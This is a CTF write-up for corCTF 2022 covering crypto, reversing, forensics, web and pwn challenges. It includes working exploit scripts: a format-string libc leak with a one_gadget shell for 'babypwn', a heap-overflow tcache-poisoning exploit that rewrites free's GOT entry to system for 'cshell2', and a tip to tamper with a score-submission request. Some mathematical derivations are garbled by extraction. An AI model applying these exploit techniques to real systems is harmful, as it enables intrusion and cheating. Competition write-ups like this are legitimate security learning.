现充|junyu33

corctf2022 wp

I've gone through all the simple problems in every direction.

Of course, this approach won't work.

Tadpole

Problem Statement:

from Crypto.Util.number import bytes_to_long, isPrime
from secrets import randbelow

p = bytes_to_long(open("flag.txt", "rb").read())
assert isPrime(p)

a = randbelow(p)
b = randbelow(p)

def f(s):
    return (a * s + b) % p

print("a = ", a)
print("b = ", b)
print("f(31337) = ", f(31337))
print("f(f(31337)) = ", f(f(31337)))

Subtracting the two equations:

a(fs)fff(modp)

The difference between the left and right sides is a multiple of p. Factorize the prime factors (in fact, it is a prime number).

luckyguess

#!/usr/local/bin/python
from random import getrandbits

p = 2**521 - 1
a = getrandbits(521)
b = getrandbits(521)
print("a =", a)
print("b =", b)

try:
    x = int(input("enter your starting point: "))
    y = int(input("alright, what's your guess? "))
except:
    print("?")
    exit(-1)

r = getrandbits(20)
for _ in range(r):
    x = (x * a + b) % p

if x == y:
    print("wow, you are truly psychic! here, have a flag:", open("flag.txt").read())
else:
    print("sorry, you are not a true psychic... better luck next time")

Use a fixed point to construct x such that xxa+b(modp).

Thus, pbx(a1)(modp).

x(a1)1(pb)(modp), which can be directly computed using gmpy2.invert.

exchanged

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow

p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = randbelow(p)
b = randbelow(p)
s = randbelow(p)

print("p =", p)
print("a =", a)
print("b =", b)
print("s =", s)

a_priv = randbelow(p)
b_priv = randbelow(p)

def f(s):
    return (a * s + b) % p

def mult(s, n):
    for _ in range(n):
        s = f(s)
    return s

A = mult(s, a_priv)
B = mult(s, b_priv)

print("A =", A)
print("B =", B)

shared = mult(A, b_priv)
assert mult(B, a_priv) == shared

flag = open("flag.txt", "rb").read()
key = sha256(long_to_bytes(shared)).digest()[:16]
iv = long_to_bytes(randint(0, 2**128))
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(iv.hex() + cipher.encrypt(pad(flag, 16)).hex())

(The following equalities are assumed modulo p)

Expanding mult yields:

A=axs+i=0x1aibB=ays+i=0y1aib

By deriving the expressions, we obtain:

shared=ayA+Bays

Subtracting B with a misalignment gives:

ay+1say(bs)b=B(a1)ay=(AaA+b)(b+ass)1

Thus, shared can be calculated.

Note: Both the key and IV in AES CBC mode are in big-endian order.

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow
from gmpy2 import *

p = ...
a = ...
b = ...
s = ...
A = ...
B = ...
iv = 0xe0364f9f55fc27fc46f3ab1dc9db48fa
enc = 0x482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e
iv = iv.to_bytes(16, 'big')
enc = enc.to_bytes(64, 'big')

a_y = (B*(a-1)+b) * invert((b+a*s-s), p) % p
shared = (a_y*A+B+(p-a_y)*s) % p

key = sha256(long_to_bytes(shared)).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plain = cipher.decrypt(enc)
print(plain)

Microsoft ❤️ Linux

For the first part, load the 32-bit ELF format directly into IDA, and apply ror 13 to the specified range of bytes. (This is essentially equivalent to ror 5.)

For the second part, open the file in IDA using binary mode, select 16-bit, and you'll notice it contains DOS instructions. The encryption method is xor 13, with a length of 18. However, the encrypted range seems a bit off.

The ciphertext can only exist between 0x210 and 0x233. After XORing the entire range with 13, the last 18 bytes resemble the flag. Simply concatenate them with the previous part.

Whack-a-Frog

Obtained a pcap file and found many GET requests upon inspection.

First, extract these GET requests:

cat whacking-the-froggers.pcap | grep -a 'anticheat?x=' > in

These requests contain x and y coordinates. Use regular expressions to extract them:

from pwn import *
import re
io = open('in', 'rb')
out = open('out', 'w')
x = []
y = []
for i in range(10000):
   get = io.readline()
   if len(re.findall(rb'x=\d+', get)) > 0:
      print(int(re.findall(rb'x=\d+', get)[0][2:]), 
            int(re.findall(rb'y=\d+', get)[0][2:]), file=out)

Then, use C code to convert the data into ASCII art. Note that the x and y coordinates were initially swapped:

#include <stdio.h>
#include <stdlib.h>
int mp[600][600];
int main()
{
  freopen("out", "r", stdin);
  freopen("flag", "w", stdout);
  int x, y;
  for (int i = 0; i < 2204; i++)
  {
    scanf("%d %d", &x, &y);
    // mp[x][y] = 1;
    mp[y][x] = 1;
  }
  for (int i = 0; i < 600; i++) 
  {
    for (int j = 0; j < 600; j++)
      if (mp[i][j])
        printf("0");
      else
        printf(" ");
    printf("\n");
  }
  return 0;
}

View the output in gedit with a reduced font size. The strokes roughly form the correct pattern, confirming that it should be the flag.

jsonquiz

Simply intercept the final score submission packet and change score=0 to score=100.

babypwn

$ one_gadget /usr/lib/x86_64-linux-gnu/libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Stack is not protected, use format string to leak libc. Since both r12 and r15 are on the stack, finally replace the buffer with a fully zeroed memory address, then use one_gadget directly.

def exploit():
   io.sendline('%7$p')
   io.recvuntil('Hi, ')
   libc_base = int(io.recv(14), 16) - 0x6bc0 - (0x9c000 - 0xa4000) # 0x6bc0 is from IDA func _$LT$str$u20$as$u20$core..fmt..Display$GT$::fmt::he0adfaca1b7317bf which is in main, and the latter offset is from debugging
   zero = libc_base + 8
   one_gadget = 0xe3afe
   payload = p64(zero)*12 + p64(libc_base+one_gadget)
   io.sendline(payload)

cshell2 (Post-competition writeup)

Heap overflow + tcache poisoning in libc 2.36. Since the security mechanisms in libc 2.36 are almost identical to 2.35, I used a local 2.35 environment for testing.

The I/O handling was really tricky.

# all io.sendline() or the stream will stuck

def decrypt_pointer(leak: int) -> int:
    parts = []

    parts.append((leak >> 36) << 36)
    parts.append((((leak >> 24) & 0xFFF) ^ (parts[0] >> 36)) << 24)
    parts.append((((leak >> 12) & 0xFFF) ^ ((parts[1] >> 24) & 0xFFF)) << 12)

    return parts[0] | parts[1] | parts[2]

def exploit():
   # leak libc
   add(0, 1032, '//bin/sh\0', '', '', 0, '')
   add(1, 1032, '', '', '', 0, '')

   for i in range(2, 11):
      add(i, 1032, '', '', '', 0, '')
   for i in range(2, 9):
      dele(i)

   dele(1) # unsortedbin
   edit(0, '', '', '', 0, b'a'*(1032-64+7)) # last byte is for '\n'
   show(0)

   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['main_arena'] - 0x60
   # 0x1f2ce0 in glibc-2.35
   log.success('libc_base: ' + hex(libc_base))

   # leak heap
   add(11, 1032, '', '', '', 0, '') #8
   dele(9)
   edit(11, '', '', '', 0, b'b'*(1032-64)+b'abcdefg')
   show(11)
   io.recvuntil('abcdefg\n')
   heap_base = decrypt_pointer(u64(io.recvuntil(b'1 Add\n')[:-6].ljust(8, b'\x00'))) - 0x1000
   log.success('heap_base: ' + hex(heap_base))
   
   # getshell
   fake_chunk = b'c'*(1032-64)+p64(0x411)+p64(((heap_base+0x2730)>>12)^0x404010) # buf overflow, make the chunk aligned to 16 bytes
   edit(11, '', '', '', 0, fake_chunk)
   add(12, 1032, '', '', '', 0, '') # nothing

   io.sendline('1') # 0x2730 = 0x250 + 0x410*9 + 0x10 + 0x40
   io.sendline('13')
   io.sendline('1032')
   io.send('n1rvana') # since we make the chunk at 0x401010, it's null and we can fill anything
   io.send(p64(libc_base+libc.sym['system'])) # where the free.got is
   io.send(p64(libc_base+libc.sym['puts'])) # keeping the same
   io.sendline('0') 
   io.send(p64(libc_base+libc.sym['scanf'])) # keeping the same
   dele(0)